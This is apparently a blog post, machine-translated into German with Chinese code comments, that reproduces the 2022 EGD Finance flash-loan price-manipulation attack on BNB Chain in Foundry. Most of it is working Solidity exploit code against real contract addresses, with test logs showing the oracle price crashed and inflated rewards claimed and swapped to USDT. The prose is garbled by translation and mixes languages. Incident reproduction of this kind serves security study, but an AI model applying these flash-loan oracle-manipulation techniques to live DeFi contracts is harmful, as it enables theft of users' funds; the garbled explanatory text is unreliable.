Foundry of EGD-Preismanipulationsangriff taucht erneut auf

Weitere verwandte Inhalte finden Sie auf der persönlichen Homepage

Eine Einführung in den EGD-Preismanipulationsangriff finden Sie unter: Analyse des Prinzips des EGD-Preismanipulationsangriffs – phalcon+etherscan)

Die Einführung in Foundry finden Sie unter: Writing Tests – Foundry Chinese Documentation (learnblockchain.cn)

Referenzlink: EGD Finance-Preismanipulationsangriffs-Vorfallanalyse – YINHUIs BLOG (yinhui1984.github.io)

1. Zusammenfassung der Situation und Vorstellung von Ideen

Der Hauptzweck des EGD-Finance-Projekts: 质押USDT一段事件,可提取奖励EGD TokenWie oben erwähnt, führt dies dazu, dass schnelle Kredite Pancake LPseine große Menge an USDT aus dem Pool leihen und EGD Tokendie Anzahl der Belohnungen in gewissem Maße von der Anzahl der beiden Token im Pool abhängt Preismanipulation. Angriff.

Da ich mit Gießerei nicht sehr vertraut bin und noch nie ein großes Soliditätsprojekt geschrieben habe;

Wir unterteilen die Angriffsreproduktion in drei Teile:

  • Nutzen Sie Schnellkredite, um die Preise zu kontrollieren
  • Implementieren Sie die Logik des EGD-Projekts und tauschen Sie Belohnungen nach dem Abstecken aus.
  • Flash-Darlehen ermöglichen Preismanipulationen und nutzen logische Schlupflöcher im EGD-Austausch aus, um Arbitrage zu erreichen.

2. Blitzkredite ermöglichen Preismanipulation

  • Für die externe Vertragsfunktion, die Sie aufrufen möchten, benötigen Sie nicht nur deren Adresse, sondern schreiben auch die entsprechende Funktion, die aufgerufen werden muss, in das 接口interface()Formular. interface()Es ist kein spezifischer Funktionscode darin geschrieben. Die Änderung des Funktionszugriffs erfolgt extern.
  • In der Solidität gibt es keine Gleitkommazahlen. Im Allgemeinen können Sie lernen, wie man den Prozentsatz schreibt, mit dem sie multipliziert wird.
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
}

interface IEGD_Finance {
    function getEGDPrice() external view returns (uint);
}

interface IPancakePair {
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

//Pancake借出USDT的池子
address constant EGD_USDT_LPPool = 0xa361433E409Adac1f87CDF133127585F8a93c67d;

// EGD 代理合约的地址
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;

// USDT代币的地址
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;

contract pricemanipulation is Test{

    function setUp() public{
    	//fork stake()函数调用前的状态
        vm.createSelectFork("https://rpc.ankr.com/bsc", 20_245_522);
        //给账户上初始分配点USDT
        deal(address(usdt),address(this), 30000*1 ether);
    }

    function testPrice() public {
        console.log("EGD Price before:", IEGD_Finance(EGD_Finance).getEGDPrice());
        uint amount = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000;
        IPancakePair(EGD_USDT_LPPool).swap(0, amount, address(this), "0x00");
        console.log("EGD Price after( return flashloan )", IEGD_Finance(EGD_Finance).getEGDPrice());
    }

    function pancakeCall(address sender, uint256 amount1, uint256 amount2, bytes calldata data) public {
    	//闪电贷之前EGD的价格
        console.log("EGD Price after( flashloan )", IEGD_Finance(EGD_Finance).getEGDPrice()) ;
        
        //归还相应的本金
        bool success = IERC20(usdt).transfer(address(EGD_USDT_LPPool),(amount2 * 10_500_000_000) / 10_000_000_000) ;
        require(success) ;
    }
}

Testergebnisse: Zeigt eine erfolgreiche Preismanipulation an

 /test/attack_test # forge test --match-contract pricemanipulation -vvv
[⠃] Compiling...
No files changed, compilation skipped

Running 1 test for test/test_pricemanipulation.sol:pricemanipulation
[PASS] testPrice() (gas: 87598)
Logs:
  EGD Price before: 8093644493314726
  EGD Price after( flashloan ) 60702333
  EGD Price after( return flashloan ) 8498326714945346

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 576.95ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

3. Setzen Sie zuerst USDT ein und erhalten Sie dann EGD-Belohnungen

  • Der verwirrende Punkt hier ist, dass userInfo in der Zielfunktion eine Strukturzuordnung ist, die als Funktion in der Schnittstelle ausgedrückt wird, um den entsprechenden Wert zu erhalten. Ich hoffe, jemand kann mir helfen, es zu erklären. Hier ist die Verwendung der Schnittstelle. Kann es sein? so geschrieben? , versuchen Sie es später noch einmal.
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
}

interface IEGD_Finance {
    function getEGDPrice() external view returns (uint);
    function bond(address invitor) external;
    function stake(uint amount) external;
    function claimAllReward() external;
    function calculateAll(address addr) external view returns (uint);
    function calculateReward(address addr, uint slot) external view returns (uint);

    function userInfo(address) external view returns (        
        uint totalAmount,
        uint totalClaimed,
        address invitor,
        bool isRefer,
        uint refer,
        uint referReward
    );
}

// EGD 代理合约的地址
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;

// USDT代币的地址
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;

// EGD代币的地址
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;


contract stake_reward is Test{

    function setUp() public {
        vm.createSelectFork("https://rpc.ankr.com/bsc", 20_245_522);
        deal(address(usdt),address(this), 30000*1 ether);
    }

    function test_stake() public {
		//具体可见EGD-Fiance源码,bond函数填写邀请人
    	IEGD_Finance(EGD_Finance).bond(address(0x85cbfaBD709c744C84A36BA47145396d724EE751));
    	
    	//stake()过程中会直接继续代币转账,这里需要先approve(没真实写过的话,可能会忘这一步)
        IERC20(usdt).approve(address(EGD_Finance), 100 ether);
        IEGD_Finance(EGD_Finance).stake(100 ether);
        (uint totalAmount, , , , , ) = IEGD_Finance(EGD_Finance).userInfo(address(this));

        //接下来查看对应的资金
        console.log("Stake USDT amount:", totalAmount);
        console.log("EGD reward: ", IERC20(egd).balanceOf(address(this)));

		// foundry的cheatcode,跳转到某个区块
        vm.warp(block.timestamp + (4 * 60 * 24 * 4));
		
		//获得对应的奖励
        IEGD_Finance(EGD_Finance).claimAllReward();

        console.log("EGD reward after 2 days: ", IERC20(egd).balanceOf(address(this)));

    }
}
/test/attack_test # forge test --match-contract stake_reward -vvv
[⠊] Compiling...
[⠰] Compiling 1 files with 0.8.22
[⠒] Solc 0.8.22 finished in 1.28s
Compiler run successful!

Running 1 test for test/test_stake_reward.sol:stake_reward
[PASS] test_stake() (gas: 865865)
Logs:
  Stake USDT amount: 100000000000000000000
  EGD reward:  0
  EGD reward after 4 days:  18016435864263240000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 591.56ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Testergebnisse: Der Prozess des Absteckens von USDT und des Erhaltens von EGD wurde erfolgreich implementiert

4. Flash-Darlehen ermöglichen Preismanipulationen und nutzen logische Lücken im EGD-Austausch aus, um Arbitrage zu erreichen.

  • Es kombiniert einfach die beiden oben genannten Schritte und ruft die Funktion von EGD-Finance zum Abheben von Belohnungen auf.
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
}

interface IEGD_Finance {
    function getEGDPrice() external view returns (uint);
    function bond(address invitor) external;
    function stake(uint amount) external;
    function claimAllReward() external;
    function calculateAll(address addr) external view returns (uint);
    function calculateReward(address addr, uint slot) external view returns (uint);
    function userInfo(address) external view returns (        
        uint totalAmount,
        uint totalClaimed,
        address invitor,
        bool isRefer,
        uint refer,
        uint referReward
    );
}

interface IPancakePair {
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

//Pancake借出USDT的池子
address constant EGD_USDT_LPPool = 0xa361433E409Adac1f87CDF133127585F8a93c67d;

// EGD 代理合约的地址
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;

// USDT代币的地址
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;

// EGD代币的地址
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;

contract HackerTest is Test{

    function setUp() public{
        vm.createSelectFork("https://rpc.ankr.com/bsc", 20_245_522);
        deal(address(usdt),address(this), 30000*1 ether);
    }

    function stake() public {
        IEGD_Finance(EGD_Finance).bond(address(0x85cbfaBD709c744C84A36BA47145396d724EE751));

        IERC20(usdt).approve(address(EGD_Finance), 100 ether);
        IEGD_Finance(EGD_Finance).stake(100 ether);
    }

    function test_exploit() public {
        stake();
        vm.warp(block.timestamp + (4 * 60 * 24 * 2));

        console.log("EGD Price before flashloan:", IEGD_Finance(EGD_Finance).getEGDPrice());
		
		//计算用户地址,当前存款下获得的奖励数目
        uint totalreward = IEGD_Finance(EGD_Finance).calculateAll(address(this));
        console.log("Normal EGD reward:", totalreward);

        uint amount = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_000_000 / 10_000_000_000;
        IPancakePair(EGD_USDT_LPPool).swap(0, amount, address(this), "0x00");

    }

    function pancakeCall(address sender, uint256 amount1, uint256 amount2, bytes calldata data) public{

        console.log("EGD Price after flashloan: ", IEGD_Finance(EGD_Finance).getEGDPrice());
		
		//提取账户奖励
        IEGD_Finance(EGD_Finance).claimAllReward();

        console.log("Hacker's EGD balance: ", IERC20(egd).balanceOf(address(this)));

        bool success = IERC20(usdt).transfer(address(EGD_USDT_LPPool),(amount2 * 10_500_000_000) / 10_000_000_000) ;
        require(success) ;
    }
}

5. Einführung in POC, implementiert von DefiHacklabs

  • Reproduktion in Defihacklabs, wodurch die interfaceam häufigsten verwendeten ./interface.solin Dateien gespeichert werden
  • Ein zusätzlicher Schritt besteht darin, diesen Pool zu nutzen IPancakeRouter, um den gesamten aus der Arbitrage gewonnenen EGD in USDT umzutauschen, was in der vorherigen Analyse erläutert wurde.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~36,044 US$
// Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd
// Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7
// Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (Proxy)
// Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (Logic)
// Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254
// Stake Tx : https://bscscan.com/tx/0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8

// @Analysis
// Blocksec : https://twitter.com/BlockSecTeam/status/1556483435388350464
// PeckShield : https://twitter.com/PeckShieldAlert/status/1556486817406283776

IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d);
IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;

contract Attacker is Test {
    function setUp() public {
    	//fork对应的区块状态
        vm.createSelectFork("bsc", 20_245_522);

        vm.label(address(USDT_WBNB_LPPool), "USDT_WBNB_LPPool");
        vm.label(address(EGD_USDT_LPPool), "EGD_USDT_LPPool");
        vm.label(address(pancakeRouter), "pancakeRouter");
        vm.label(EGD_Finance, "EGD_Finance");
        vm.label(usdt, "USDT");
        vm.label(egd, "EGD");
    }

    function testExploit() public {
        Exploit exploit = new Exploit();

        console.log("--------------------  Pre-work, stake 100 USDT to EGD Finance --------------------");
        console.log("Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8");
        console.log("Attacker Stake 100 USDT to EGD Finance");
        
        //先实现对应的质押USDT
        exploit.stake();

        vm.warp(1_659_914_146); // block.timestamp = 2022-08-07 23:15:46(UTC)

        console.log("-------------------------------- Start Exploit ----------------------------------");
        emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
        emit log_named_decimal_uint(
            "[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18
        );
        emit log_named_decimal_uint(
            "[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18
        );
        console.log("Attacker manipulating price oracle of EGD Finance...");

        exploit.harvest();

        console.log("-------------------------------- End Exploit ----------------------------------");
        emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
    }
}

// Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee 
contract Exploit is Test {
    uint256 borrow1;
    uint256 borrow2;

	//与前文流程一致
    function stake() public {
        // Give exploit contract 100 USDT, 给账户初始复制
        deal(address(usdt), address(this), 100 ether);
        // Set invitor
        IEGD_Finance(EGD_Finance).bond(address(0x659b136c49Da3D9ac48682D02F7BD8806184e218));
        // Stake 100 USDT
        IERC20(usdt).approve(EGD_Finance, 100 ether);
        IEGD_Finance(EGD_Finance).stake(100 ether);
    }

    function harvest() public {
        console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve");
        borrow1 = 2000 * 1e18;
        USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000");
        console.log("Flashloan[1] payback success");
        IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); // refund all USDT
    }
	
	//用不同的calldata,来区分两次闪电贷的过程
    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        if (keccak256(data) == keccak256("0000")) {
            console.log("Flashloan[1] received");

            console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve");
            
            //第二次闪电贷借出多少USDT
            borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000; // Attacker borrows 99.99999925% USDT of EGD_USDT_LPPool reserve
            EGD_USDT_LPPool.swap(0, borrow2, address(this), "00");
            console.log("Flashloan[2] payback success");

            // Swap all egd -> usdt
            console.log("Swap the profit...");
            address[] memory path = new address[](2);
            path[0] = egd;
            path[1] = usdt;
            IERC20(egd).approve(address(pancakeRouter), type(uint256).max);
            pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                IERC20(egd).balanceOf(address(this)), 1, path, address(this), block.timestamp
            );

            bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 1e18); // Pancakeswap fee is 0.25%, so attacker needs to pay back usdt >2000/0.9975 (Cannot be exactly 0.25%)
            require(suc, "Flashloan[1] payback failed");
        } else {
            console.log("Flashloan[2] received");
            emit log_named_decimal_uint(
                "[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18
            );
            // -----------------------------------------------------------------
            console.log("Claim all EGD Token reward from EGD Finance contract");
            IEGD_Finance(EGD_Finance).claimAllReward();
            emit log_named_decimal_uint("[INFO] Get reward (EGD token)", IERC20(egd).balanceOf(address(this)), 18);
            // -----------------------------------------------------------------
            //计算需要总共返还闪电贷的费用
            uint256 swapfee = (amount1 * 10_000 / 9970) - amount1; // Attacker needs to pay >0.25% fee back to Pancakeswap
            bool suc = IERC20(usdt).transfer(address(EGD_USDT_LPPool), amount1 + swapfee);
            require(suc, "Flashloan[2] payback failed");
        }
    }
}

// interface
interface IEGD_Finance {
    function bond(address invitor) external;
    function stake(uint256 amount) external;
    function calculateAll(address addr) external view returns (uint256);
    function claimAllReward() external;
    function getEGDPrice() external view returns (uint256);
}

Supongo que te gusta

Origin blog.csdn.net/m0_53689197/article/details/135128283
Recomendado
Clasificación